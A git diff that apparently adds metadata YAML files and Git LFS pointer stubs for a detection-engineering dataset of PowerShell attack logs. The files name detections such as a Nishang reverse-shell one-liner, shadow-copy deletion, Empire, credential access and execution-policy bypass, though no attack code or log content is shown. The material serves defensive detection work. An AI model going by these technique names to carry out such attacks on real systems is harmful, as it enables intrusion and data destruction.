b/datasets/attack_techniques/T1059.001/asyncrat_crypto_pwh_namespace/T1059.001_asyncrat_crypto_pwh_namespace.yml new file mode 100644 index 000000000..08d566d4c --- /dev/null +++ b/datasets/attack_techniques/T1059.001/asyncrat_crypto_pwh_namespace/T1059.001_asyncrat_crypto_pwh_namespace.yml @@ -0,0 +1,13 @@ +author: STRT +id: fadfa938-6796-41df-8d05-0be4c9dba4cc +date: '2026-07-11' +description: Curated attack data generated for detection Windows Powershell Cryptography + Namespace +environment: attack_range +directory: asyncrat_crypto_pwh_namespace +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1059.001/asyncrat_crypto_pwh_namespace/windows-powershell-xml-fadfa938-6796-41df-8d05-0be4c9dba4cc.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1059.001/asyncrat_crypto_pwh_namespace/windows-powershell-xml-fadfa938-6796-41df-8d05-0be4c9dba4cc.log b/datasets/attack_techniques/T1059.001/asyncrat_crypto_pwh_namespace/windows-powershell-xml-fadfa938-6796-41df-8d05-0be4c9dba4cc.log new file mode 100644 index 000000000..b12782c3c --- /dev/null +++ b/datasets/attack_techniques/T1059.001/asyncrat_crypto_pwh_namespace/windows-powershell-xml-fadfa938-6796-41df-8d05-0be4c9dba4cc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7616cda17c5804f4bcd2e780db02bcdd7491a7ff9fb5c751f649201fcc56ae31 +size 2224 diff --git a/datasets/attack_techniques/T1059.001/atomic_red_team/4104-psremoting-windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log b/datasets/attack_techniques/T1059.001/atomic_red_team/4104-psremoting-windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log new file mode 100644 index 000000000..94ceecc15 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/atomic_red_team/4104-psremoting-windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:98e655216c953526bc9c7445afc49216d2f788a0e6e7cdb1c540036d649019fb +size 40603 diff --git a/datasets/attack_techniques/T1059.001/atomic_red_team/T1059.001_atomic_red_team.yml b/datasets/attack_techniques/T1059.001/atomic_red_team/T1059.001_atomic_red_team.yml new file mode 100644 index 000000000..a2c4d5576 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/atomic_red_team/T1059.001_atomic_red_team.yml @@ -0,0 +1,40 @@ +author: STRT +id: 56456fea-68b1-4786-9b94-58cb385b10b1 +date: '2026-07-11' +description: Curated attack data generated for detection Nishang PowershellTCPOneLine +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: 4104-psremoting-windows-powershell + path: /datasets/attack_techniques/T1059.001/atomic_red_team/4104-psremoting-windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: start_stop_service_windows-powershell + path: /datasets/attack_techniques/T1059.001/atomic_red_team/start_stop_service_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: enableat_windows-sysmon + path: /datasets/attack_techniques/T1059.001/atomic_red_team/enableat_windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: captcha_windows-sysmon + path: /datasets/attack_techniques/T1059.001/atomic_red_team/captcha_windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: get_ciminstance_windows-powershell + path: /datasets/attack_techniques/T1059.001/atomic_red_team/get_ciminstance_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: irm_powershell + path: /datasets/attack_techniques/T1059.001/atomic_red_team/irm_powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: win32_scheduledjob_windows-powershell + path: /datasets/attack_techniques/T1059.001/atomic_red_team/win32_scheduledjob_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1059.001/atomic_red_team/captcha_windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log b/datasets/attack_techniques/T1059.001/atomic_red_team/captcha_windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log new file mode 100644 index 000000000..245373e84 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/atomic_red_team/captcha_windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2349326b9042ba212dc16a4764a2cd1fbfa318a792c5591594b77bbfd20ddc9e +size 2153 diff --git a/datasets/attack_techniques/T1059.001/atomic_red_team/enableat_windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log b/datasets/attack_techniques/T1059.001/atomic_red_team/enableat_windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log new file mode 100644 index 000000000..81388c413 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/atomic_red_team/enableat_windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:277289fa911c6c7999f338f735c29a9811d03249e8d9584ec722af85aa051ded +size 2285 diff --git a/datasets/attack_techniques/T1059.001/atomic_red_team/get_ciminstance_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log b/datasets/attack_techniques/T1059.001/atomic_red_team/get_ciminstance_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log new file mode 100644 index 000000000..d2ab7e293 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/atomic_red_team/get_ciminstance_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3f119afb240df8aa0391c5a76ff388fe7e1bd0f7053a1b8c8cf59f7467da5ca5 +size 5946 diff --git a/datasets/attack_techniques/T1059.001/atomic_red_team/irm_powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log b/datasets/attack_techniques/T1059.001/atomic_red_team/irm_powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log new file mode 100644 index 000000000..acf574439 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/atomic_red_team/irm_powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:42bc56764253db83806392ebe47675159877affe234b8c5f800848070b5793b1 +size 5373 diff --git a/datasets/attack_techniques/T1059.001/atomic_red_team/start_stop_service_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log b/datasets/attack_techniques/T1059.001/atomic_red_team/start_stop_service_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log new file mode 100644 index 000000000..3d3b94d44 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/atomic_red_team/start_stop_service_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:67a297eaffeacc1746ebbeb8e4ef06efbd5f7028fc7260eee74b4d2d9f6b3b0d +size 26722 diff --git a/datasets/attack_techniques/T1059.001/atomic_red_team/win32_scheduledjob_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log b/datasets/attack_techniques/T1059.001/atomic_red_team/win32_scheduledjob_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log new file mode 100644 index 000000000..7b001765e --- /dev/null +++ b/datasets/attack_techniques/T1059.001/atomic_red_team/win32_scheduledjob_windows-powershell-56456fea-68b1-4786-9b94-58cb385b10b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:df143f24ec7fc90a71dcb52de57762cdab354a9880ff1d186ffbf6f1da9f2504 +size 21073 diff --git a/datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log b/datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log new file mode 100644 index 000000000..31f9c1730 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/atomic_red_team/windows-sysmon-56456fea-68b1-4786-9b94-58cb385b10b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8149fb59a026e92e291a41a4076fcb85418e8e95fb1ce494a4e469371425b1a8 +size 14595 diff --git a/datasets/attack_techniques/T1059.001/encoded_powershell/T1059.001_encoded_powershell.yml b/datasets/attack_techniques/T1059.001/encoded_powershell/T1059.001_encoded_powershell.yml new file mode 100644 index 000000000..19d188d46 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/encoded_powershell/T1059.001_encoded_powershell.yml @@ -0,0 +1,21 @@ +author: STRT +id: fe189822-0130-4b2f-8b01-554926c6f01e +date: '2026-07-11' +description: Curated attack data generated for detection Malicious PowerShell Process + - Execution Policy Bypass +environment: attack_range +directory: encoded_powershell +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1059.001/encoded_powershell/windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: padded_windows-sysmon + path: /datasets/attack_techniques/T1059.001/encoded_powershell/padded_windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: explorer_spawns_windows-sysmon + path: /datasets/attack_techniques/T1059.001/encoded_powershell/explorer_spawns_windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.001/encoded_powershell/explorer_spawns_windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log b/datasets/attack_techniques/T1059.001/encoded_powershell/explorer_spawns_windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log new file mode 100644 index 000000000..a2f916f2c --- /dev/null +++ b/datasets/attack_techniques/T1059.001/encoded_powershell/explorer_spawns_windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c11306ddbcdc3b17c5330e58135da6f3a59e1dc1de3661af547174a488e223b2 +size 13142 diff --git a/datasets/attack_techniques/T1059.001/encoded_powershell/padded_windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log b/datasets/attack_techniques/T1059.001/encoded_powershell/padded_windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log new file mode 100644 index 000000000..da5c17d93 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/encoded_powershell/padded_windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5603727c89f2f384d7871e214d310fc3eaa0513e3ce798f0b801cd40dbe12fbe +size 9180 diff --git a/datasets/attack_techniques/T1059.001/encoded_powershell/windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log b/datasets/attack_techniques/T1059.001/encoded_powershell/windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log new file mode 100644 index 000000000..7ae17db1b --- /dev/null +++ b/datasets/attack_techniques/T1059.001/encoded_powershell/windows-sysmon-fe189822-0130-4b2f-8b01-554926c6f01e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6bc2a0593545881e5fa982a5906254ad828176ad5acff170839fd2fecc2175f5 +size 2017 diff --git a/datasets/attack_techniques/T1059.001/exchange/T1059.001_exchange.yml b/datasets/attack_techniques/T1059.001/exchange/T1059.001_exchange.yml new file mode 100644 index 000000000..91b8c2c8b --- /dev/null +++ b/datasets/attack_techniques/T1059.001/exchange/T1059.001_exchange.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5e5b3171-df9e-4abe-8c5d-ae586631e467 +date: '2026-07-10' +description: Curated attack data generated for detection Exchange PowerShell Module + Usage +environment: attack_range +directory: exchange +mitre_technique: [] +datasets: +- name: windows-powershell + path: /datasets/attack_techniques/T1059.001/exchange/windows-powershell-5e5b3171-df9e-4abe-8c5d-ae586631e467.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1059.001/exchange/windows-powershell-5e5b3171-df9e-4abe-8c5d-ae586631e467.log b/datasets/attack_techniques/T1059.001/exchange/windows-powershell-5e5b3171-df9e-4abe-8c5d-ae586631e467.log new file mode 100644 index 000000000..293fcc4a9 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/exchange/windows-powershell-5e5b3171-df9e-4abe-8c5d-ae586631e467.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f1f6ed5f03f8fa0a7f37da26da329884832c4befae92b67b06d22fe2df096bca +size 12381 diff --git a/datasets/attack_techniques/T1059.001/import_applocker_policy/T1059.001_import_applocker_policy.yml b/datasets/attack_techniques/T1059.001/import_applocker_policy/T1059.001_import_applocker_policy.yml new file mode 100644 index 000000000..8478f7ca8 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/import_applocker_policy/T1059.001_import_applocker_policy.yml @@ -0,0 +1,13 @@ +author: STRT +id: 33d86e25-2ec5-42d8-833f-240b115293b2 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Powershell Import + Applocker Policy +environment: attack_range +directory: import_applocker_policy +mitre_technique: [] +datasets: +- name: windows-powershell-xml2 + path: /datasets/attack_techniques/T1059.001/import_applocker_policy/windows-powershell-xml2-33d86e25-2ec5-42d8-833f-240b115293b2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1059.001/import_applocker_policy/windows-powershell-xml2-33d86e25-2ec5-42d8-833f-240b115293b2.log b/datasets/attack_techniques/T1059.001/import_applocker_policy/windows-powershell-xml2-33d86e25-2ec5-42d8-833f-240b115293b2.log new file mode 100644 index 000000000..e5ab37eda --- /dev/null +++ b/datasets/attack_techniques/T1059.001/import_applocker_policy/windows-powershell-xml2-33d86e25-2ec5-42d8-833f-240b115293b2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a7b6b8ab67a33f136f68af636168c02b4fecb5539ab58561a2dad01081a4103b +size 986 diff --git a/datasets/attack_techniques/T1059.001/msix_powershell/T1059.001_msix_powershell.yml b/datasets/attack_techniques/T1059.001/msix_powershell/T1059.001_msix_powershell.yml new file mode 100644 index 000000000..76112599c --- /dev/null +++ b/datasets/attack_techniques/T1059.001/msix_powershell/T1059.001_msix_powershell.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2c4c6c17-58db-491a-823d-4fbb0572db6f +date: '2026-07-11' +description: Curated attack data generated for detection Windows PowerShell Script + From WindowsApps Directory +environment: attack_range +directory: msix_powershell +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1059.001/msix_powershell/windows-sysmon-2c4c6c17-58db-491a-823d-4fbb0572db6f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.001/msix_powershell/windows-sysmon-2c4c6c17-58db-491a-823d-4fbb0572db6f.log b/datasets/attack_techniques/T1059.001/msix_powershell/windows-sysmon-2c4c6c17-58db-491a-823d-4fbb0572db6f.log new file mode 100644 index 000000000..e8c5a6381 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/msix_powershell/windows-sysmon-2c4c6c17-58db-491a-823d-4fbb0572db6f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4aa7845d16b68c0ac3d03e031264f115eaea9ecf9ff977c4fc11581f586f98ad +size 7346 diff --git a/datasets/attack_techniques/T1059.001/obfuscated_powershell/T1059.001_obfuscated_powershell.yml b/datasets/attack_techniques/T1059.001/obfuscated_powershell/T1059.001_obfuscated_powershell.yml new file mode 100644 index 000000000..fe7446553 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/obfuscated_powershell/T1059.001_obfuscated_powershell.yml @@ -0,0 +1,13 @@ +author: STRT +id: f4e10b71-44f3-47fc-be3a-bdc27853c61e +date: '2026-07-10' +description: Curated attack data generated for detection Malicious PowerShell Process + With Obfuscation Techniques +environment: attack_range +directory: obfuscated_powershell +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1059.001/obfuscated_powershell/windows-sysmon-f4e10b71-44f3-47fc-be3a-bdc27853c61e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.001/obfuscated_powershell/windows-sysmon-f4e10b71-44f3-47fc-be3a-bdc27853c61e.log b/datasets/attack_techniques/T1059.001/obfuscated_powershell/windows-sysmon-f4e10b71-44f3-47fc-be3a-bdc27853c61e.log new file mode 100644 index 000000000..737c8cd19 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/obfuscated_powershell/windows-sysmon-f4e10b71-44f3-47fc-be3a-bdc27853c61e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7951177751015e4f0e1c76226fb916f44bf02049644793180c9fee8136086f49 +size 4386 diff --git a/datasets/attack_techniques/T1059.001/powershell_execution_policy/T1059.001_powershell_execution_policy.yml b/datasets/attack_techniques/T1059.001/powershell_execution_policy/T1059.001_powershell_execution_policy.yml new file mode 100644 index 000000000..90c7673cf --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_execution_policy/T1059.001_powershell_execution_policy.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2df38a7a-6df7-491e-8164-270751fb6b35 +date: '2026-07-11' +description: Curated attack data generated for detection Set Default PowerShell Execution + Policy To Unrestricted or Bypass +environment: attack_range +directory: powershell_execution_policy +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1059.001/powershell_execution_policy/windows-sysmon-2df38a7a-6df7-491e-8164-270751fb6b35.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.001/powershell_execution_policy/windows-sysmon-2df38a7a-6df7-491e-8164-270751fb6b35.log b/datasets/attack_techniques/T1059.001/powershell_execution_policy/windows-sysmon-2df38a7a-6df7-491e-8164-270751fb6b35.log new file mode 100644 index 000000000..3d10dc257 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_execution_policy/windows-sysmon-2df38a7a-6df7-491e-8164-270751fb6b35.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:48817ba260fd92ccb2ad27b045e1932fc4f8f5edab0e40e0fc8cf26595ac94fa +size 1057 diff --git a/datasets/attack_techniques/T1059.001/powershell_remotesigned/T1059.001_powershell_remotesigned.yml b/datasets/attack_techniques/T1059.001/powershell_remotesigned/T1059.001_powershell_remotesigned.yml new file mode 100644 index 000000000..50d3be8aa --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_remotesigned/T1059.001_powershell_remotesigned.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7e19807e-ca24-484f-9eff-fa4a3264c736 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Powershell RemoteSigned + File +environment: attack_range +directory: powershell_remotesigned +mitre_technique: [] +datasets: +- name: remotesigned_sysmon + path: /datasets/attack_techniques/T1059.001/powershell_remotesigned/remotesigned_sysmon-7e19807e-ca24-484f-9eff-fa4a3264c736.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.001/powershell_remotesigned/remotesigned_sysmon-7e19807e-ca24-484f-9eff-fa4a3264c736.log b/datasets/attack_techniques/T1059.001/powershell_remotesigned/remotesigned_sysmon-7e19807e-ca24-484f-9eff-fa4a3264c736.log new file mode 100644 index 000000000..5d8fac322 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_remotesigned/remotesigned_sysmon-7e19807e-ca24-484f-9eff-fa4a3264c736.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a22d51c6eedb445f901ed7c56337c902b5255a917da8582256da2b58a88b063b +size 2016 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/T1059.001_powershell_script_block_logging.yml b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/T1059.001_powershell_script_block_logging.yml new file mode 100644 index 000000000..f23126f77 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/T1059.001_powershell_script_block_logging.yml @@ -0,0 +1,84 @@ +author: STRT +id: f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58 +date: '2026-07-11' +description: Curated attack data generated for detection Delete ShadowCopy With PowerShell +environment: attack_range +directory: powershell_script_block_logging +mitre_technique: [] +datasets: +- name: single_event_delete_shadowcopy + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/single_event_delete_shadowcopy-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: empire + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/empire-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: credaccess-powershell + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/credaccess-powershell-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: getdomainuser + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/getdomainuser-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: sbl_xml + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/sbl_xml-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: domainpolicy + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/domainpolicy-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: domaintrust + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/domaintrust-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: getdc + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/getdc-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: domaingroup + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/domaingroup-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: nettcpconnection + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/nettcpconnection-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: enumeration + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/enumeration-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: frombase64string + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/frombase64string-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: getlocalgroup + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/getlocalgroup-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: reflection + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/reflection-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: streamreader + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/streamreader-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: reconusingwmi + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/reconusingwmi-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/windows-powershell-xml-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: pswa_powershell + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/pswa_powershell-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: win32process + path: /datasets/attack_techniques/T1059.001/powershell_script_block_logging/win32process-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/credaccess-powershell-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/credaccess-powershell-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..d687e00f8 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/credaccess-powershell-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d6a52660ea7c42bb910ac40e28a509a7734a819aefcb37f3ce6327623f9b2015 +size 13282 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/domaingroup-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/domaingroup-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..b89dc1224 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/domaingroup-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:357f76c1c87540b9da392bf1236204e5f0a0aa7cc73f1017872d19cb4209db91 +size 925 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/domainpolicy-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/domainpolicy-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..0a0c51607 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/domainpolicy-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6e68266ef23ae810d9e2312aea03655b4de01296c31ecf3901a5ec9c4990f30c +size 926 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/domaintrust-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/domaintrust-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..a70d1b2c1 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/domaintrust-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log 